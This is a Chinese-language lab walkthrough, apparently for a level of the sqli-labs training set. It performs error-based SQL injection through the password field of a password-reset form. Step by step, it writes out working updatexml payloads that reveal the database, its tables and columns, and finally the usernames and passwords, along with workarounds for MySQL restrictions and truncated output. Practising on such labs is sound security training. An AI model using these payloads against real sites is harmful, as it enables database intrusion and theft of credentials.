这一关的网站是用来修改密码的,所以数据库会执行update这种查询方式,而不是select这种查询方式。我们发现用户名这一框输入数据不行,会进行过滤。所以我们这次在密码这一框中进行注入。
1、判断闭合方式
输入语句1"
页面没报错,输入1'
时报错,再输入
1' #
返回页面如下:
说明该网站的闭合方式是'。
2、判断注入方式
我们在判断闭合方式时,输入语句
1'
,返回页面如下:
我们发现该网站没有回显,但是输入错误后它会返回错误信息。,所以这次适合使用报错注入。
3、爆破数据库名
输入语句
1' or updatexml(1,concat('~',database(),'~'),1) #
,返回页面如下:
数据库名是security。
4、爆破数据表名
输入语句
1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) #
,返回页面如下:
该数据库中共有四个数据表,分别是:emails、referers、uagents、users。
5、爆破列名
输入语句
1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),'~'),1) #
,返回页面如下:
users这个表中有三列,分别是:id、username、password。
6、爆破数据
输入语句
1' and updatexml(1,concat('~',(select group_concat(concat(password,'-',username)) from users),'~'),1) #
,返回如下页面:
提示我们:不能在FROM子句中指定要更新的目标表“users”
那么我们将users给替换掉,语句改成:
1' and updatexml(1,concat('~',(select group_concat(concat(username,'-',password)) from (select username from users)a),'~'),1) #
,返回页面如下:
我们发现报错信息好想没有显示完全。
我们将语句在修改一下:
1' and updatexml(1,concat('~',mid((select group_concat(concat(username,'-',password)) from (select * from users)a),1,32),'~'),1) #
,返回页面如下:
我们可以将mid函数中的1和32改成其他数字,就可以看到其他数据了。这里的1和32的意思是:截取从第一位字母开始的32位字母。
7、注意
这一关也可以使用extractvalue函数,注意该函数,只有2个参数。而updatexml有3个参数。